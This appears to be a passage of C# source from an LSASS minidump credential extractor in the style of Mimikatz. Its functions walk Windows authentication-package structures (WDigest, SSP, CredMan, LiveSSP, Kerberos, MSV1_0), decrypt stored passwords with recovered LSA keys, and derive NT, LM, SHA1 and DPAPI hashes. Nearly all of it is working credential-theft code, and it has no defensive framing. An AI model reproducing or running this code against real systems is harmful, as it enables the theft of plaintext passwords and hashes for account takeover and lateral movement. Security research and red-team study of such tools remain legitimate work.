minidump.fileBinaryReader.BaseStream.Seek(llCurrent + template.USERNAME_OFFSET, 0); var username = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(llCurrent + template.HOSTNAME_OFFSET, 0); var hostname = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(llCurrent + template.PASSWORD_OFFSET, 0); var password = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); if (!string.IsNullOrEmpty(username) && username.Length > 1) { var luid = entry.LocallyUniqueIdentifier; var wdigestentry = new WDigest(); wdigestentry.UserName = username; if (!string.IsNullOrEmpty(hostname)) { wdigestentry.HostName = hostname; } else { wdigestentry.HostName = "NULL"; } byte[] passDecryptedBytes = new byte[] { }; if (!string.IsNullOrEmpty(password) && password.Length % 2 == 0) { passDecryptedBytes = BCrypt.DecryptCredentials(Encoding.Unicode.GetBytes(password), minidump.lsakeys); passDecrypted = Encoding.Unicode.GetString(passDecryptedBytes); if (passDecrypted.Length > 0) { wdigestentry.Password = passDecrypted; } } else { wdigestentry.Password = "******"; } if (passDecryptedBytes.Length > 0) { try { wdigestentry.NT = passDecryptedBytes.MD4().AsHexString(); } catch { wdigestentry.NT = "NULL"; } } if (wdigestentry.Password != "NULL") { var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid) { UserName = username, Wdigest = new List <WDigest>() }; currentlogon.Wdigest.Add(wdigestentry); minidump.logonlist.Add(currentlogon); } else { currentlogon.Wdigest = new List <WDigest>(); currentlogon.Wdigest.Add(wdigestentry); } } } } llCurrent = entry.Flink; } while (llCurrent != (long)ptr_entry); return(0); }
public static int FindCredentials(Program.MiniDump minidump, ssp.SspTemplate template) { ssp.KIWI_SSP_CREDENTIAL_LIST_ENTRY entry; string passDecrypted = ""; long llCurrent; long sspCredentialListAddr; long position = find_signature(minidump, "msv1_0.dll", template.signature); if (position == 0) { return(0); } var ptr_entry_loc = (long)get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); sspCredentialListAddr = ReadInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); llCurrent = sspCredentialListAddr; do { llCurrent = Rva2offset(minidump, llCurrent); minidump.fileBinaryReader.BaseStream.Seek(llCurrent, 0); byte[] entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(ssp.KIWI_SSP_CREDENTIAL_LIST_ENTRY))); entry = ReadStruct <ssp.KIWI_SSP_CREDENTIAL_LIST_ENTRY>(entryBytes); string username = ExtractUnicodeStringString(minidump, entry.credentials.UserName); string domain = ExtractUnicodeStringString(minidump, entry.credentials.Domain); int reference = (int)entry.References; minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, entry.credentials.Password.Buffer), 0); byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(entry.credentials.Password.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); passDecrypted = Encoding.Unicode.GetString(msvDecryptedPasswordBytes); if (!string.IsNullOrEmpty(username) && username.Length > 1 && msvDecryptedPasswordBytes.Length > 1) { LUID luid = entry.LogonId; Ssp sspentry = new Ssp(); //sspentry.Reference = reference; sspentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { sspentry.DomainName = domain; } else { sspentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { sspentry.Password = passDecrypted; } else { sspentry.Password = "******"; } try { sspentry.NT = msvDecryptedPasswordBytes.MD4().AsHexString(); } catch { sspentry.NT = "NULL"; } if (sspentry.Password != "NULL") { Logon currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Ssp = new List <Ssp>(); currentlogon.Ssp.Add(sspentry); minidump.logonlist.Add(currentlogon); } else { if (currentlogon.Ssp == null) { currentlogon.Ssp = new List <Ssp>(); } currentlogon.Ssp.Add(sspentry); } } } llCurrent = entry.Flink; } while (llCurrent != sspCredentialListAddr); return(0); }
public static int FindCredentials(Program.MiniDump minidump, credman.CredmanTemplate template) { foreach (var logon in minidump.logonlist) { //Console.WriteLine("======================="); var credmanMem = logon.pCredentialManager; var luid = logon.LogonId; long llCurrent; var reference = 1; minidump.fileBinaryReader.BaseStream.Seek(credmanMem, 0); var credmansetBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(template.list_entry)); //int list1offset = StructFieldOffset(typeof(KIWI_CREDMAN_SET_LIST_ENTRY), "list1");//bug long pList1 = BitConverter.ToInt64(credmansetBytes, FieldOffset <KIWI_CREDMAN_SET_LIST_ENTRY>("list1")); long refer = pList1 + FieldOffset <KIWI_CREDMAN_LIST_STARTER>("start"); minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, pList1), 0); var credmanstarterBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_CREDMAN_LIST_STARTER))); long pStart = BitConverter.ToInt64(credmanstarterBytes, FieldOffset <KIWI_CREDMAN_LIST_STARTER>("start")); if (pStart == 0) { continue; } if (pStart == refer) { continue; } llCurrent = pStart; do { llCurrent = llCurrent - FieldOffset <KIWI_CREDMAN_LIST_ENTRY>("Flink"); llCurrent = Rva2offset(minidump, llCurrent); if (llCurrent == 0) { continue; } minidump.fileBinaryReader.BaseStream.Seek(llCurrent, 0); var entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_CREDMAN_LIST_ENTRY))); var entry = ReadStruct <KIWI_CREDMAN_LIST_ENTRY>(entryBytes); var username = ExtractUnicodeStringString(minidump, entry.user); var domain = ExtractUnicodeStringString(minidump, entry.server1); var passDecrypted = ""; minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, (long)entry.encPassword), 0); var msvPasswordBytes = minidump.fileBinaryReader.ReadBytes((int)entry.cbEncPassword); var msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); if (msvDecryptedPasswordBytes != null && msvDecryptedPasswordBytes.Length > 0) { var encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = PrintHexBytes(msvDecryptedPasswordBytes); } } if (!string.IsNullOrEmpty(username) && username.Length > 1) { CredMan credmanentry = new CredMan(); credmanentry.Reference = reference; credmanentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { credmanentry.DomainName = domain; } else { credmanentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { credmanentry.Password = passDecrypted; } else { credmanentry.Password = "******"; } if (credmanentry.Password != null) { var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); //currentlogon.UserName = username; currentlogon.Credman = new List <CredMan>(); currentlogon.Credman.Add(credmanentry); minidump.logonlist.Add(currentlogon); } else { if (currentlogon.Credman == null) { currentlogon.Credman = new List <CredMan>(); } currentlogon.Credman.Add(credmanentry); } } } reference++; llCurrent = entry.Flink; } while (llCurrent != 0 && llCurrent != refer); } return(0); }
public static int FindCredentials(Program.MiniDump minidump, LiveSspTemplate template) { KIWI_LIVESSP_LIST_ENTRY entry; string passDecrypted = ""; long llCurrent; long sspCredentialListAddr; //Console.WriteLine(Helpers.ByteArrayToString(template.signature)); //foreach (var VARIABLE in minidump.modules) //{ // Console.WriteLine(VARIABLE.name); //} long position = find_signature(minidump, "msv1_0.dll", template.signature); if (position == 0) { return(0); } long ptr_entry_loc = (long)get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); sspCredentialListAddr = ReadInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); //sspCredentialListAddr = Rva2offset(minidump, ptr_entry); llCurrent = sspCredentialListAddr; do { Console.WriteLine(llCurrent); llCurrent = Rva2offset(minidump, llCurrent); //Console.WriteLine(llCurrent); minidump.fileBinaryReader.BaseStream.Seek(llCurrent, 0); byte[] entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_LIVESSP_LIST_ENTRY))); entry = ReadStruct <KIWI_LIVESSP_LIST_ENTRY>(entryBytes); string username = ExtractUnicodeStringString(minidump, entry.suppCreds.credentials.UserName); string domain = ExtractUnicodeStringString(minidump, entry.suppCreds.credentials.Domain); minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, entry.suppCreds.credentials.Password.Buffer), 0); byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(entry.suppCreds.credentials.Password.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); passDecrypted = Encoding.Unicode.GetString(msvDecryptedPasswordBytes); /*Console.WriteLine("LUID " + entry.LogonId.LowPart); * Console.WriteLine("References " + entry.References); * Console.WriteLine("CredentialReferences " + entry.CredentialReferences); * Console.WriteLine("Uusername {1} {0}", username, entry.credentials.UserName.MaximumLength); * Console.WriteLine("Udomain {1} {0}", domain, entry.credentials.Domaine.MaximumLength); * Console.WriteLine("Upassword {1} {0}", passDecrypted, entry.credentials.Password.MaximumLength);*/ if (!string.IsNullOrEmpty(username) && username.Length > 1) { LUID luid = entry.LocallyUniqueIdentifier; LiveSsp sspentry = new LiveSsp(); sspentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { sspentry.DomainName = domain; } else { sspentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { sspentry.Password = passDecrypted; } else { sspentry.Password = "******"; } try { sspentry.NT = msvDecryptedPasswordBytes.MD4().AsHexString(); } catch { sspentry.NT = "NULL"; } if (sspentry.Password != "NULL") { Logon currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.LiveSsp = new List <LiveSsp>(); currentlogon.LiveSsp.Add(sspentry); minidump.logonlist.Add(currentlogon); } else { if (currentlogon.LiveSsp == null) { currentlogon.LiveSsp = new List <LiveSsp>(); } currentlogon.LiveSsp.Add(sspentry); } } } llCurrent = entry.Flink; } while (llCurrent != sspCredentialListAddr); return(0); }
public static void FindCredentials(Program.MiniDump minidump, kerberos.KerberosTemplate template) { foreach (KerberosSessions.KerberosLogonItem entry in minidump.klogonlist) { if (entry == null) { continue; } var luid = ReadStruct <LUID>(GetBytes(entry.LogonSessionBytes, 72, Marshal.SizeOf(typeof(LUID)))); var usUserName = ReadStruct <UNICODE_STRING>(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionUserNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); var usDomain = ReadStruct <UNICODE_STRING>(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionDomainOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); var usPassword = ReadStruct <UNICODE_STRING>(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionPasswordOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); var username = ExtractUnicodeStringString(minidump, usUserName); var domain = ExtractUnicodeStringString(minidump, usDomain); minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, usPassword.Buffer), 0); byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(usPassword.MaximumLength); var msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); var passDecrypted = ""; var encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = PrintHexBytes(msvDecryptedPasswordBytes); } //passDecrypted = Convert.ToBase64String(msvDecryptedPasswordBytes); if (!string.IsNullOrEmpty(username) && username.Length > 1) { if (msvDecryptedPasswordBytes.Length <= 1) { continue; } var krbrentry = new Kerberos(); krbrentry.UserName = username; if (krbrentry.UserName.Contains("$")) { try { krbrentry.NT = msvDecryptedPasswordBytes.MD4().AsHexString(); } catch { krbrentry.NT = "NULL"; } } if (!string.IsNullOrEmpty(domain)) { krbrentry.DomainName = domain; } else { krbrentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { krbrentry.Password = passDecrypted; } else { krbrentry.Password = "******"; } var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Kerberos = krbrentry; minidump.logonlist.Add(currentlogon); } else { currentlogon.Kerberos = krbrentry; } } } }
public static int FindCredentials(Program.MiniDump minidump, msv.MsvTemplate template) { //PrintProperties(template); foreach (var logon in minidump.logonlist) { var lsasscred = logon.pCredentials; var luid = logon.LogonId; if (lsasscred > 0) { var msventry = new Msv(); KIWI_MSV1_0_PRIMARY_CREDENTIALS primaryCredentials; while (lsasscred != 0) { minidump.fileBinaryReader.BaseStream.Seek(lsasscred, 0); byte[] credentialsBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_MSV1_0_CREDENTIALS))); if (credentialsBytes.Length <= 0) { break; } var pPrimaryCredentials = BitConverter.ToInt64(credentialsBytes, FieldOffset <KIWI_MSV1_0_CREDENTIALS>("PrimaryCredentials")); var pNext = BitConverter.ToInt64(credentialsBytes, FieldOffset <KIWI_MSV1_0_CREDENTIALS>("next")); lsasscred = Rva2offset(minidump, pPrimaryCredentials); while (lsasscred != 0) { minidump.fileBinaryReader.BaseStream.Seek(lsasscred, 0); byte[] primaryCredentialsBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS))); primaryCredentials = ReadStruct <KIWI_MSV1_0_PRIMARY_CREDENTIALS>(primaryCredentialsBytes); primaryCredentials.Credentials = ExtractUnicodeString(minidump.fileBinaryReader, lsasscred + template.MSV1CredentialsOffset); primaryCredentials.Primary = ExtractUnicodeString(minidump.fileBinaryReader, lsasscred + template.MSV1PrimaryOffset); if (ExtractANSIStringString(minidump, primaryCredentials.Primary).Equals("Primary")) { minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, primaryCredentials.Credentials.Buffer), 0); byte[] msvCredentialsBytes = minidump.fileBinaryReader.ReadBytes(primaryCredentials.Credentials.MaximumLength); var msvDecryptedCredentialsBytes = BCrypt.DecryptCredentials(msvCredentialsBytes, minidump.lsakeys); var usLogonDomainName = ReadStruct <UNICODE_STRING>(GetBytes(msvDecryptedCredentialsBytes, template.LogonDomainNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); var usUserName = ReadStruct <UNICODE_STRING>(GetBytes(msvDecryptedCredentialsBytes, template.UserNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); msventry = new Msv(); msventry.DomainName = Encoding.Unicode.GetString(GetBytes(msvDecryptedCredentialsBytes, usLogonDomainName.Buffer, usLogonDomainName.Length)); msventry.UserName = "******" + Encoding.Unicode.GetString(GetBytes(msvDecryptedCredentialsBytes, usUserName.Buffer, usUserName.Length)); string lmhash = PrintHashBytes(GetBytes(msvDecryptedCredentialsBytes, template.LmOwfPasswordOffset, LM_NTLM_HASH_LENGTH)); if (lmhash != "00000000000000000000000000000000") { msventry.Lm = " " + lmhash; } msventry.NT = " " + PrintHashBytes(GetBytes(msvDecryptedCredentialsBytes, template.NtOwfPasswordOffset, LM_NTLM_HASH_LENGTH)); msventry.Sha1 = " " + PrintHashBytes(GetBytes(msvDecryptedCredentialsBytes, template.ShaOwPasswordOffset, SHA_DIGEST_LENGTH)); string dpapi = PrintHashBytes(GetBytes(msvDecryptedCredentialsBytes, template.DPAPIProtectedOffset, LM_NTLM_HASH_LENGTH)); if (dpapi != "00000000000000000000000000000000" && dpapi != "0c000e00000000005800000000000000") { msventry.Dpapi = " " + dpapi; } var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { Console.WriteLine("[x] Something goes wrong"); } else { currentlogon.Msv = msventry; } } lsasscred = primaryCredentials.next; } lsasscred = pNext; } } } return(0); }